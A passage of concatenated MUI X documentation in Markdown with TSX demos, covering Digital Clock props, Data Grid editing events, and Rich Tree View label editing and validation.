            <MultiSectionDigitalClock
              value={value}
              onChange={(newValue) => setValue(newValue)}
            />
          </DemoItem>
        </DemoContainer>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::info

- The value is **controlled** when its parent manages it by providing a `value` prop.
- The value is **uncontrolled** when it is managed by the component's own internal state. This state can be initialized using the `defaultValue` prop.

Learn more about the _Controlled and uncontrolled_ pattern in the [React documentation](https://react.dev/learn/sharing-state-between-components#controlled-and-uncontrolled-components).
:::

## Form props

The components can be disabled or read-only.

```tsx
import dayjs from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DigitalClock } from '@mui/x-date-pickers/DigitalClock';
import { MultiSectionDigitalClock } from '@mui/x-date-pickers/MultiSectionDigitalClock';

export default function DigitalClockFormProps() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={[
          'DigitalClock',
          'DigitalClock',
          'MultiSectionDigitalClock',
          'MultiSectionDigitalClock',
        ]}
      >
        <DemoContainer components={['DigitalClock', 'DigitalClock']}>
          <DemoItem label="Digital clock disabled">
            <DigitalClock defaultValue={dayjs('2022-04-17T15:30')} disabled />
          </DemoItem>
          <DemoItem label="Digital clock readOnly">
            <DigitalClock defaultValue={dayjs('2022-04-17T15:30')} readOnly />
          </DemoItem>
        </DemoContainer>
        <DemoContainer
          components={['MultiSectionDigitalClock', 'MultiSectionDigitalClock']}
        >
          <DemoItem label="Multi section digital clock disabled">
            <MultiSectionDigitalClock
              defaultValue={dayjs('2022-04-17T15:30')}
              disabled
            />
          </DemoItem>
          <DemoItem label="Multi section digital clock readOnly">
            <MultiSectionDigitalClock
              defaultValue={dayjs('2022-04-17T15:30')}
              readOnly
            />
          </DemoItem>
        </DemoContainer>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Views

The `MultiSectionDigitalClock` component can contain three views: `hours`, `minutes`, and `seconds`.
By default, only the `hours` and `minutes` views are enabled.

You can customize the enabled views using the `views` prop.
Views will appear in the order they're included in the `views` array.

```tsx
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { MultiSectionDigitalClock } from '@mui/x-date-pickers/MultiSectionDigitalClock';

export default function DigitalClockViews() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={[
          'MultiSectionDigitalClock',
          'MultiSectionDigitalClock',
          'MultiSectionDigitalClock',
        ]}
      >
        <DemoItem label={'"hours", "minutes" and "seconds"'}>
          <MultiSectionDigitalClock views={['hours', 'minutes', 'seconds']} />
        </DemoItem>
        <DemoItem label={'"hours"'}>
          <MultiSectionDigitalClock views={['hours']} />
        </DemoItem>
        <DemoItem label={'"minutes" and "seconds"'}>
          <MultiSectionDigitalClock views={['minutes', 'seconds']} />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## 12h/24h format

The components use the hour format of the locale's time setting, that is the 12-hour or 24-hour format.

You can force a specific format using the `ampm` prop.

You can find more information about 12h/24h format in the [Date localization page](/x/react-date-pickers/adapters-locale/#meridiem-12h-24h-format).

```tsx
import dayjs from 'dayjs';
import Typography from '@mui/material/Typography';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { DigitalClock } from '@mui/x-date-pickers/DigitalClock';
import { MultiSectionDigitalClock } from '@mui/x-date-pickers/MultiSectionDigitalClock';

export default function DigitalClockAmPm() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={[
          'DigitalClock',
          'DigitalClock',
          'DigitalClock',
          'MultiSectionDigitalClock',
          'MultiSectionDigitalClock',
          'MultiSectionDigitalClock',
        ]}
      >
        <DemoItem>
          <Typography variant="body2">
            Locale default behavior (enabled for enUS)
          </Typography>
          <DemoContainer components={['DigitalClock', 'MultiSectionDigitalClock']}>
            <DemoItem>
              <DigitalClock defaultValue={dayjs('2022-04-17T15:30')} />
            </DemoItem>
            <DemoItem>
              <MultiSectionDigitalClock defaultValue={dayjs('2022-04-17T15:30')} />
            </DemoItem>
          </DemoContainer>
        </DemoItem>
        <DemoItem>
          <Typography variant="body2">AM PM enabled</Typography>
          <DemoContainer components={['DigitalClock', 'MultiSectionDigitalClock']}>
            <DemoItem>
              <DigitalClock defaultValue={dayjs('2022-04-17T15:30')} ampm />
            </DemoItem>
            <DemoItem>
              <MultiSectionDigitalClock
                defaultValue={dayjs('2022-04-17T15:30')}
                ampm
              />
            </DemoItem>
          </DemoContainer>
        </DemoItem>
        <DemoItem>
          <Typography variant="body2">AM PM disabled</Typography>
          <DemoContainer components={['DigitalClock', 'MultiSectionDigitalClock']}>
            <DemoItem>
              <DigitalClock defaultValue={dayjs('2022-04-17T15:30')} ampm={false} />
            </DemoItem>
            <DemoItem>
              <MultiSectionDigitalClock
                defaultValue={dayjs('2022-04-17T15:30')}
                ampm={false}
              />
            </DemoItem>
          </DemoContainer>
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Time steps

By default, the components list the time options in the following way:

- `DigitalClock` in `30` minutes intervals;
- `MultiSectionDigitalClock` component in `5` unit (`minutes` or `seconds`) intervals;

You can set the desired interval using the `timeStep` and `timeSteps` props.
The prop accepts:

- The `DigitalClock` component accepts a `number` value `timeStep` prop;
- The `MultiSectionDigitalClock` component accepts a `timeSteps` prop with `number` values for `hours`, `minutes`, or `seconds` units;

```tsx
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { DigitalClock } from '@mui/x-date-pickers/DigitalClock';
import { MultiSectionDigitalClock } from '@mui/x-date-pickers/MultiSectionDigitalClock';

export default function DigitalClockTimeStep() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DigitalClock', 'MultiSectionDigitalClock']}>
        <DemoItem label="Digital clock">
          <DigitalClock timeStep={60} />
        </DemoItem>
        <DemoItem label="Multi section digital clock">
          <MultiSectionDigitalClock
            timeSteps={{ hours: 2, minutes: 15, seconds: 10 }}
            views={['hours', 'minutes', 'seconds']}
          />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Skip rendering disabled options

With the `skipDisabled` prop, the components don't render options that are not available to the user (for example through `minTime`, `maxTime`, `shouldDisableTime` etc.).

The following example combines these properties to customize which options are rendered.

- The first component does not show options before `9:00` (the value of `minTime`).
- The second one shows options between `09:00` and `13:20` thanks to `shouldDisableTime`.

```tsx
import dayjs, { Dayjs } from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { DigitalClock } from '@mui/x-date-pickers/DigitalClock';
import { MultiSectionDigitalClock } from '@mui/x-date-pickers/MultiSectionDigitalClock';
import { TimeView } from '@mui/x-date-pickers/models';

const shouldDisableTime = (date: Dayjs, view: TimeView) => {
  const hour = date.hour();
  if (view === 'hours') {
    return hour < 9 || hour > 13;
  }
  if (view === 'minutes') {
    const minute = date.minute();
    return minute > 20 && hour === 13;
  }
  return false;
};

export default function DigitalClockSkipDisabled() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DigitalClock', 'MultiSectionDigitalClock']}>
        <DemoItem label="Digital clock">
          <DigitalClock
            skipDisabled
            minTime={dayjs('2022-04-17T09:00')}
            timeStep={60}
          />
        </DemoItem>
        <DemoItem label="Multi section digital clock">
          <MultiSectionDigitalClock
            skipDisabled
            shouldDisableTime={shouldDisableTime}
            ampm={false}
          />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Localization

See the [Date format and localization](/x/react-date-pickers/adapters-locale/) and [Translated components](/x/react-date-pickers/localization/) documentation pages for more details.

## Validation

See the [Validation](/x/react-date-pickers/validation/) documentation page for more details.

---

# Source: https://mui.com/x/react-data-grid/editing/editing-events.md

# Data Grid - Editing events

Using editing events.

The interactions that [start](/x/react-data-grid/editing/#start-editing) and [stop](/x/react-data-grid/editing/#stop-editing) trigger `'cellEditStart'` and `'cellEditStop'` [events](/x/react-data-grid/events/), respectively.
For [row editing](/x/react-data-grid/editing/#row-editing), the events are `'rowEditStart'` and `'rowEditStop'`.
You can control how these events are handled to customize editing behavior.

For convenience, you can also listen to these events using their respective props:

- `onCellEditStart()`
- `onCellEditStop()`
- `onRowEditStart()`
- `onRowEditStop()`

These events and props are called with an object containing the row ID and column field of the cell that is being edited.
The object also contains a `reason` param that specifies which type of interaction caused the event to be fired—for instance, `'cellDoubleClick'` when a double-click initiates edit mode.

The following demo shows how to prevent the user from exiting edit mode when clicking outside of a cell.
To do this, the `onCellEditStop()` prop is used to check if the `reason` is `'cellFocusOut'`.
If that condition is true, it [disables](/x/react-data-grid/events/#disabling-the-default-behavior) the default event behavior.
In this context, the user can only stop editing a cell by pressing <kbd class="key">Enter</kbd>, <kbd class="key">Escape</kbd> or <kbd class="key">Tab</kbd>.

```tsx
import {
  GridColDef,
  GridRowsProp,
  DataGrid,
  GridCellEditStopParams,
  GridCellEditStopReasons,
  MuiEvent,
} from '@mui/x-data-grid';
import {
  randomCreatedDate,
  randomTraderName,
  randomUpdatedDate,
} from '@mui/x-data-grid-generator';

export default function DisableStopEditModeOnFocusOut() {
  return (
    <div style={{ height: 300, width: '100%' }}>
      <DataGrid
        rows={rows}
        columns={columns}
        onCellEditStop={(params: GridCellEditStopParams, event: MuiEvent) => {
          if (params.reason === GridCellEditStopReasons.cellFocusOut) {
            event.defaultMuiPrevented = true;
          }
        }}
      />
    </div>
  );
}

const columns: GridColDef[] = [
  { field: 'name', headerName: 'Name', width: 180, editable: true },
  {
    field: 'age',
    headerName: 'Age',
    type: 'number',
    editable: true,
    align: 'left',
    headerAlign: 'left',
  },
  {
    field: 'dateCreated',
    headerName: 'Date Created',
    type: 'date',
    width: 180,
    editable: true,
  },
  {
    field: 'lastLogin',
    headerName: 'Last Login',
    type: 'dateTime',
    width: 220,
    editable: true,
  },
];

const rows: GridRowsProp = [
  {
    id: 1,
    name: randomTraderName(),
    age: 25,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 2,
    name: randomTraderName(),
    age: 36,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 3,
    name: randomTraderName(),
    age: 19,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 4,
    name: randomTraderName(),
    age: 28,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 5,
    name: randomTraderName(),
    age: 23,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
];

```

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-data-grid/editing.md

# Source: https://mui.com/x/react-tree-view/rich-tree-view/editing.md

---
productId: x-tree-view
components: RichTreeView, TreeItem
githubLabel: 'scope: tree view'
packageName: '@mui/x-tree-view'
waiAria: https://www.w3.org/WAI/ARIA/apg/patterns/treeview/
packageName: '@mui/x-tree-view'
---

# Rich Tree View - Label editing

Learn how to edit Tree View item labels.

## Enable label editing

Use the `isItemEditable` prop to enable editing.
If set to `true`, this prop enables label editing on all items as shown in the demo below:

```tsx
import Box from '@mui/material/Box';
import { RichTreeView } from '@mui/x-tree-view/RichTreeView';
import { MUI_X_PRODUCTS } from './products';

export default function LabelEditingAllItems() {
  return (
    <Box sx={{ minHeight: 352, minWidth: 260 }}>
      <RichTreeView
        items={MUI_X_PRODUCTS}
        isItemEditable
        defaultExpandedItems={['grid', 'pickers']}
      />
    </Box>
  );
}

```

:::success
If an item is editable, the editing state can be toggled by double clicking on it, or by pressing <kbd class="key">Enter</kbd> on the keyboard when the item is in focus.

Once an item is in the editing state, the value of the label can be edited.
Pressing <kbd class="key">Enter</kbd> again or blurring the item will save the new value.
Pressing <kbd class="key">Esc</kbd> will cancel the action and restore the item to its original state.

:::

## Limit editing to some items

If you pass a method to `isItemEditable`, then only the items for which the method returns `true` will be editable:

```tsx
import Box from '@mui/material/Box';
import { RichTreeView } from '@mui/x-tree-view/RichTreeView';
import { MUI_X_PRODUCTS } from './editableProducts';

export default function LabelEditingSomeItems() {
  return (
    <Box sx={{ minHeight: 352, minWidth: 260 }}>
      <RichTreeView
        items={MUI_X_PRODUCTS}
        isItemEditable={(item) => Boolean(item?.editable)}
        defaultExpandedItems={['grid', 'pickers']}
      />
    </Box>
  );
}

```

### Limit editing to leaves

You can limit editing to just the leaves of the tree, as shown below:

```tsx
import Box from '@mui/material/Box';
import { RichTreeView } from '@mui/x-tree-view/RichTreeView';
import { useRichTreeViewApiRef } from '@mui/x-tree-view/hooks';
import { TreeViewBaseItem } from '@mui/x-tree-view/models';

type ExtendedTreeItemProps = {
  editable?: boolean;
  id: string;
  label: string;
};

const MUI_X_PRODUCTS: TreeViewBaseItem<ExtendedTreeItemProps>[] = [
  {
    id: 'grid',
    label: 'Data Grid',
    children: [
      { id: 'grid-community', label: '@mui/x-data-grid' },
      { id: 'grid-pro', label: '@mui/x-data-grid-pro' },
      { id: 'grid-premium', label: '@mui/x-data-grid-premium' },
    ],
  },
  {
    id: 'pickers',
    label: 'Date and Time pickers',
    children: [
      {
        id: 'pickers-community',
        label: '@mui/x-date-pickers',
      },
      { id: 'pickers-pro', label: '@mui/x-date-pickers-pro' },
    ],
  },
  {
    id: 'charts',
    label: 'Charts',
    children: [{ id: 'charts-community', label: '@mui/x-charts' }],
  },
  {
    id: 'tree-view',
    label: 'Tree View',
    children: [{ id: 'tree-view-community', label: '@mui/x-tree-view' }],
  },
];

export default function EditLeaves() {
  const apiRef = useRichTreeViewApiRef();
  return (
    <Box sx={{ minHeight: 352, minWidth: 260 }}>
      <RichTreeView
        items={MUI_X_PRODUCTS}
        apiRef={apiRef}
        isItemEditable={(item) =>
          apiRef.current!.getItemOrderedChildrenIds(item.id).length === 0
        }
        defaultExpandedItems={['grid', 'pickers']}
      />
    </Box>
  );
}

```

## Track item label change

Use the `onItemLabelChange` prop to trigger an action when an item label changes:

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import Typography from '@mui/material/Typography';
import { RichTreeView } from '@mui/x-tree-view/RichTreeView';
import { MUI_X_PRODUCTS } from './products';

export default function EditingCallback() {
  const [lastEditedItem, setLastEditedItem] = React.useState<{
    itemId: string;
    label: string;
  } | null>(null);

  return (
    <Stack spacing={2} sx={{ width: 400 }}>
      {lastEditedItem ? (
        <Typography>
          The label of item with id <em>{lastEditedItem!.itemId}</em> has been edited
          to <em>{lastEditedItem!.label}</em>
        </Typography>
      ) : (
        <Typography>No item has been edited yet</Typography>
      )}
      <Box sx={{ minHeight: 352, minWidth: 260 }}>
        <RichTreeView
          items={MUI_X_PRODUCTS}
          isItemEditable
          defaultExpandedItems={['grid', 'pickers']}
          onItemLabelChange={(itemId, label) => setLastEditedItem({ itemId, label })}
        />
      </Box>
    </Stack>
  );
}

```

## Change the default behavior

By default, blurring a `TreeItem` saves the new value if there is one.
To modify this behavior, use the `slotProps` on the `TreeItem` as shown below:

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import { RichTreeView } from '@mui/x-tree-view/RichTreeView';
import { useTreeItemUtils } from '@mui/x-tree-view/hooks';
import { TreeItem, TreeItemProps } from '@mui/x-tree-view/TreeItem';
import { UseTreeItemLabelInputSlotOwnProps } from '@mui/x-tree-view/useTreeItem';
import { MUI_X_PRODUCTS } from './products';

const CustomTreeItem = React.forwardRef(function CustomTreeItem(
  props: TreeItemProps,
  ref: React.Ref<HTMLLIElement>,
) {
  const { interactions } = useTreeItemUtils({
    itemId: props.itemId,
    children: props.children,
  });

  const handleInputBlur: UseTreeItemLabelInputSlotOwnProps['onBlur'] = (event) => {
    interactions.handleCancelItemLabelEditing(event);
  };

  return (
    <TreeItem
      {...props}
      ref={ref}
      slotProps={{
        labelInput: {
          onBlur: handleInputBlur,
        },
      }}
    />
  );
});

export default function CustomBehavior() {
  return (
    <Box sx={{ minHeight: 352, minWidth: 260 }}>
      <RichTreeView
        items={MUI_X_PRODUCTS}
        slots={{ item: CustomTreeItem }}
        isItemEditable
        defaultExpandedItems={['grid', 'pickers']}
      />
    </Box>
  );
}

```

## Validation

You can override the event handlers of the `labelInput` and implement a custom validation logic using the interaction methods from `useTreeItemUtils()`:

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Tooltip from '@mui/material/Tooltip';
import CheckCircleOutlineIcon from '@mui/icons-material/CheckCircleOutline';
import ErrorOutlineIcon from '@mui/icons-material/ErrorOutline';
import { RichTreeView } from '@mui/x-tree-view/RichTreeView';
import { useTreeItemUtils } from '@mui/x-tree-view/hooks';
import { TreeItem, TreeItemProps } from '@mui/x-tree-view/TreeItem';
import { UseTreeItemLabelInputSlotOwnProps } from '@mui/x-tree-view/useTreeItem';
import { TreeItemLabelInput } from '@mui/x-tree-view/TreeItemLabelInput';
import { MUI_X_PRODUCTS } from './products';

const ERRORS = {
  REQUIRED: 'The label cannot be empty',
  INVALID: 'The label cannot contain digits',
};

interface CustomLabelInputProps extends UseTreeItemLabelInputSlotOwnProps {
  error: null | keyof typeof ERRORS;
}

function CustomLabelInput(props: Omit<CustomLabelInputProps, 'ref'>) {
  const { error, ...other } = props;

  return (
    <React.Fragment>
      <TreeItemLabelInput {...other} />
      {error ? (
        <Tooltip title={ERRORS[error]}>
          <ErrorOutlineIcon color="error" />
        </Tooltip>
      ) : (
        <Tooltip title="All good!">
          <CheckCircleOutlineIcon color="success" />
        </Tooltip>
      )}
    </React.Fragment>
  );
}

const CustomTreeItem = React.forwardRef(function CustomTreeItem(
  props: TreeItemProps,
  ref: React.Ref<HTMLLIElement>,
) {
  const [error, setError] = React.useState<null | keyof typeof ERRORS>(null);
  const { interactions } = useTreeItemUtils({
    itemId: props.itemId,
    children: props.children,
  });
  const validateLabel = (label: string) => {
    if (!label) {
      setError('REQUIRED');
    } else if (/\d/.test(label)) {
      setError('INVALID');
    } else {
      setError(null);
    }
  };

  const handleInputBlur: UseTreeItemLabelInputSlotOwnProps['onBlur'] = (event) => {
    if (error) {
      event.defaultMuiPrevented = true;
    }
  };

  const handleInputKeyDown: UseTreeItemLabelInputSlotOwnProps['onKeyDown'] = (
    event,
  ) => {
    event.defaultMuiPrevented = true;
    const target = event.target as HTMLInputElement;

    if (event.key === 'Enter' && target.value) {
      if (error) {
        return;
      }
      setError(null);
      interactions.handleSaveItemLabel(event, target.value);
    } else if (event.key === 'Escape') {
      setError(null);
      interactions.handleCancelItemLabelEditing(event);
    }
  };

  const handleInputChange = (event: React.ChangeEvent<HTMLInputElement>) => {
    validateLabel(event.target.value);
  };

  return (
    <TreeItem
      {...props}
      ref={ref}
      slots={{ labelInput: CustomLabelInput }}
      slotProps={{
        labelInput: {
          onBlur: handleInputBlur,
          onKeyDown: handleInputKeyDown,
          onChange: handleInputChange,
          error,
        } as CustomLabelInputProps,
      }}
    />
  );
});

export default function Validation() {
  return (
    <Box sx={{ minHeight: 352, minWidth: 260 }}>
      <RichTreeView
        items={MUI_X_PRODUCTS}
        slots={{ item: CustomTreeItem }}
        isItemEditable
        defaultExpandedItems={['grid', 'pickers']}
      />
    </Box>
  );
}

```

## Enable editing using only icons

The demo below shows how to completely override the editing behavior and implement it using icons:

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import IconButton from '@mui/material/IconButton';
import EditOutlinedIcon from '@mui/icons-material/EditOutlined';
import CloseRoundedIcon from '@mui/icons-material/CloseRounded';
import CheckIcon from '@mui/icons-material/Check';
import { RichTreeView } from '@mui/x-tree-view/RichTreeView';
import { useTreeItemUtils } from '@mui/x-tree-view/hooks';
import { TreeItem, TreeItemLabel, TreeItemProps } from '@mui/x-tree-view/TreeItem';
import { TreeItemLabelInput } from '@mui/x-tree-view/TreeItemLabelInput';
import {
  UseTreeItemLabelInputSlotOwnProps,
  UseTreeItemLabelSlotOwnProps,
} from '@mui/x-tree-view/useTreeItem';
import { MUI_X_PRODUCTS } from './products';

interface CustomLabelProps extends UseTreeItemLabelSlotOwnProps {
  editable: boolean;
  editing: boolean;
  toggleItemEditing: () => void;
}

function CustomLabel({
  editing,
  editable,
  children,
  toggleItemEditing,
  ...other
}: CustomLabelProps) {
  return (
    <TreeItemLabel
      {...other}
      editable={editable}
      sx={{
        display: 'flex',
        alignItems: 'center',
        gap: 2,
        justifyContent: 'space-between',
      }}
    >
      {children}
      {editable && (
        <IconButton
          size="small"
          onClick={toggleItemEditing}
          sx={{ color: 'text.secondary' }}
        >
          <EditOutlinedIcon fontSize="small" />
        </IconButton>
      )}
    </TreeItemLabel>
  );
}

interface CustomLabelInputProps extends UseTreeItemLabelInputSlotOwnProps {
  handleCancelItemLabelEditing: (event: React.SyntheticEvent) => void;
  handleSaveItemLabel: (event: React.SyntheticEvent, label: string) => void;
  value: string;
}

function CustomLabelInput(props: Omit<CustomLabelInputProps, 'ref'>) {
  const { handleCancelItemLabelEditing, handleSaveItemLabel, value, ...other } =
    props;

  return (
    <React.Fragment>
      <TreeItemLabelInput {...other} value={value} />
      <IconButton
        color="success"
        size="small"
        onClick={(event: React.MouseEvent) => {
          handleSaveItemLabel(event, value);
        }}
      >
        <CheckIcon fontSize="small" />
      </IconButton>
      <IconButton color="error" size="small" onClick={handleCancelItemLabelEditing}>
        <CloseRoundedIcon fontSize="small" />
      </IconButton>
    </React.Fragment>
  );
}

const CustomTreeItem = React.forwardRef(function CustomTreeItem(
  props: TreeItemProps,
  ref: React.Ref<HTMLLIElement>,
) {
  const { interactions, status } = useTreeItemUtils({
    itemId: props.itemId,
    children: props.children,
  });

  const handleContentDoubleClick: UseTreeItemLabelSlotOwnProps['onDoubleClick'] = (
    event,
  ) => {
    event.defaultMuiPrevented = true;
  };

  const handleInputBlur: UseTreeItemLabelInputSlotOwnProps['onBlur'] = (event) => {
    event.defaultMuiPrevented = true;
  };

  const handleInputKeyDown: UseTreeItemLabelInputSlotOwnProps['onKeyDown'] = (
    event,
  ) => {
    event.defaultMuiPrevented = true;
  };

  return (
    <TreeItem
      {...props}
      ref={ref}
      slots={{ label: CustomLabel, labelInput: CustomLabelInput }}
      slotProps={{
        label: {
          onDoubleClick: handleContentDoubleClick,
          editable: status.editable,
          editing: status.editing,
          toggleItemEditing: interactions.toggleItemEditing,
        } as CustomLabelProps,
        labelInput: {
          onBlur: handleInputBlur,
          onKeyDown: handleInputKeyDown,
          handleCancelItemLabelEditing: interactions.handleCancelItemLabelEditing,
          handleSaveItemLabel: interactions.handleSaveItemLabel,
        } as CustomLabelInputProps,
      }}
    />
  );
});

export default function EditWithIcons() {
  return (
    <Box sx={{ minHeight: 352, minWidth: 260 }}>
      <RichTreeView
        items={MUI_X_PRODUCTS}
        slots={{ item: CustomTreeItem }}
        isItemEditable
        defaultExpandedItems={['grid', 'pickers']}
        expansionTrigger="iconContainer"
      />
    </Box>
  );
}

```

## Create a custom labelInput

The demo below shows how to use a different component in the `labelInput` slot:

```tsx
import * as React from 'react';
import { styled } from '@mui/material/styles';
import Box from '@mui/material/Box';
import CheckIcon from '@mui/icons-material/Check';
import IconButton from '@mui/material/IconButton';
import { RichTreeView } from '@mui/x-tree-view/RichTreeView';
import CloseRoundedIcon from '@mui/icons-material/CloseRounded';
import { TreeItem, TreeItemLabel, TreeItemProps } from '@mui/x-tree-view/TreeItem';
import {
  UseTreeItemLabelInputSlotOwnProps,
  UseTreeItemLabelSlotOwnProps,
} from '@mui/x-tree-view/useTreeItem';
import { useTreeItemUtils, useTreeItemModel } from '@mui/x-tree-view/hooks';
import { TreeViewBaseItem, TreeViewItemId } from '@mui/x-tree-view/models';

const StyledLabelInput = styled('input')(({ theme }) => ({
  ...theme.typography.body1,
  backgroundColor: (theme.vars || theme).palette.background.paper,
  borderRadius: theme.shape.borderRadius,
  border: 'none',
  padding: '0 2px',
  boxSizing: 'border-box',
  width: 100,
  '&:focus': {
    outline: `1px solid ${(theme.vars || theme).palette.primary.main}`,
  },
}));

type ExtendedTreeItemProps = {
  editable?: boolean;
  id: string;
  firstName: string;
  lastName: string;
};

export const ITEMS: TreeViewBaseItem<ExtendedTreeItemProps>[] = [
  {
    id: '1',
    firstName: 'Jane',
    lastName: 'Doe',
    editable: true,
    children: [
      { id: '1.1', firstName: 'Elena', lastName: 'Kim', editable: true },
      { id: '1.2', firstName: 'Noah', lastName: 'Rodriguez', editable: true },
      { id: '1.3', firstName: 'Maya', lastName: 'Patel', editable: true },
    ],
  },
  {
    id: '2',
    firstName: 'Liam',
    lastName: 'Clarke',
    editable: true,
    children: [
      {
        id: '2.1',
        firstName: 'Ethan',
        lastName: 'Lee',
        editable: true,
      },
      { id: '2.2', firstName: 'Ava', lastName: 'Jones', editable: true },
    ],
  },
];

function Label({ children, ...other }: UseTreeItemLabelSlotOwnProps) {
  return (
    <TreeItemLabel
      {...other}
      sx={{
        display: 'flex',
        alignItems: 'center',
        gap: 2,
        justifyContent: 'space-between',
        minHeight: 30,
      }}
    >
      {children}
    </TreeItemLabel>
  );
}

interface CustomLabelInputProps extends UseTreeItemLabelInputSlotOwnProps {
  handleCancelItemLabelEditing: (event: React.SyntheticEvent) => void;
  handleSaveItemLabel: (event: React.SyntheticEvent, label: string) => void;
  itemId: TreeViewItemId;
}

const LabelInput = React.forwardRef(function LabelInput(
  {
    itemId,
    handleCancelItemLabelEditing,
    handleSaveItemLabel,
    ...props
  }: Omit<CustomLabelInputProps, 'ref'>,
  ref: React.Ref<HTMLInputElement>,
) {
  const item = useTreeItemModel<ExtendedTreeItemProps>(itemId)!;

  const [initialNameValue, setInitialNameValue] = React.useState({
    firstName: item.firstName,
    lastName: item.lastName,
  });
  const [nameValue, setNameValue] = React.useState({
    firstName: item.firstName,
    lastName: item.lastName,
  });

  const handleFirstNameChange = (event: React.ChangeEvent<HTMLInputElement>) => {
    setNameValue((prev) => ({ ...prev, firstName: event.target.value }));
  };
  const handleLastNameChange = (event: React.ChangeEvent<HTMLInputElement>) => {
    setNameValue((prev) => ({ ...prev, lastName: event.target.value }));
  };

  const reset = () => {
    setNameValue(initialNameValue);
  };
  const save = () => {
    setInitialNameValue(nameValue);
  };

  return (
    <React.Fragment>
      <StyledLabelInput
        {...props}
        onChange={handleFirstNameChange}
        value={nameValue.firstName}
        autoFocus
        type="text"
        ref={ref}
      />
      <StyledLabelInput
        {...props}
        onChange={handleLastNameChange}
        value={nameValue.lastName}
        type="text"
        ref={ref}
      />
      <IconButton
        color="success"
        size="small"
        onClick={(event: React.MouseEvent) => {
          handleSaveItemLabel(event, `${nameValue.firstName} ${nameValue.lastName}`);
          save();
        }}
      >
        <CheckIcon fontSize="small" />
      </IconButton>
      <IconButton
        color="error"
        size="small"
        onClick={(event: React.MouseEvent) => {
          handleCancelItemLabelEditing(event);
          reset();
        }}
      >
        <CloseRoundedIcon fontSize="small" />
      </IconButton>
    </React.Fragment>
  );
});

const CustomTreeItem = React.forwardRef(function CustomTreeItem(
  props: TreeItemProps,
  ref: React.Ref<HTMLLIElement>,
) {
  const { interactions } = useTreeItemUtils({
    itemId: props.itemId,
    children: props.children,
  });

  const handleInputBlur: UseTreeItemLabelInputSlotOwnProps['onBlur'] = (event) => {
    event.defaultMuiPrevented = true;
  };

  const handleInputKeyDown: UseTreeItemLabelInputSlotOwnProps['onKeyDown'] = (
    event,
  ) => {
    event.defaultMuiPrevented = true;
  };

  return (
    <TreeItem
      {...props}
      ref={ref}
      slots={{ label: Label, labelInput: LabelInput }}
      slotProps={{
        labelInput: {
          itemId: props.itemId,
          onBlur: handleInputBlur,
          onKeyDown: handleInputKeyDown,
          handleCancelItemLabelEditing: interactions.handleCancelItemLabelEditing,
          handleSaveItemLabel: interactions.handleSaveItemLabel,
        } as any,
      }}
    />
  );
});

export default function CustomLabelInput() {
  return (
    <Box sx={{ minHeight: 352, minWidth: 340 }}>
      <RichTreeView
        items={ITEMS}
        slots={{ item: CustomTreeItem }}
        isItemEditable
        defaultExpandedItems={['1', '2']}
        getItemLabel={(item) => `${item.firstName} ${item.lastName}`}
      />
    </Box>
  );
}

```

## Imperative API

To use the `apiRef` object, you need to initialize it using the `useRichTreeViewApiRef()` or `useRichTreeViewProApiRef()` hook as follows:

```tsx
// Community package
const apiRef = useRichTreeViewApiRef();

return <RichTreeView apiRef={apiRef} items={ITEMS} />;

// Pro package
const apiRef = useRichTreeViewProApiRef();

return <RichTreeViewPro apiRef={apiRef} items={ITEMS} />;
```

When your component first renders, `apiRef.current` is `undefined`.
After the initial render, `apiRef` holds methods to interact imperatively with `RichTreeView`.

### Change the label of an item

Use the `updateItemLabel()` API method to imperatively update the label of an item.

```ts
apiRef.current.updateItemLabel(
  // The id of the item to update
  itemId,
  // The new label of the item
  newLabel,
);
```

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import Button from '@mui/material/Button';
import { RichTreeView } from '@mui/x-tree-view/RichTreeView';
